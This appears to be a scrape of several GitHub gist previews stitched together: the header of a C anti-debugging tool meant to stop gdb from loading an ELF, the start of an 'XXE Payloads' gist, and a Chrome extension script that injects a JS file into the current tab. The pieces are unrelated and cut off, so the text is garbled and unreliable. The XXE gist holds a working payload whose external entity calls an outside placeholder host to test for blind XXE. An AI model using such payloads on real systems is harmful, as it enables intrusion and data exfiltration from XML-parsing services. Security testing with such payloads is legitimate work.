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#include <elf.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
// killgdb.c - prevent an elf from being loaded by gdb.
// Jeffrey Crowell <crowell [at] bu [dot] edu>
//
// $ objcopy --only-keep-debug program program.debug
@staaldraad
staaldraad / XXE_payloads
Last active May 23, 2025 12:38
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
@danharper
danharper / background.js
Last active April 29, 2025 04:09
Bare minimum Chrome extension to inject a JS file into the given page when you click on the browser action icon. The script then inserts a new div into the DOM.
// this is the background code...
// listen for our browerAction to be clicked
chrome.browserAction.onClicked.addListener(function (tab) {
// for the current tab, inject the "inject.js" file & execute it
chrome.tabs.executeScript(tab.ib, {
file: 'inject.js'
});
});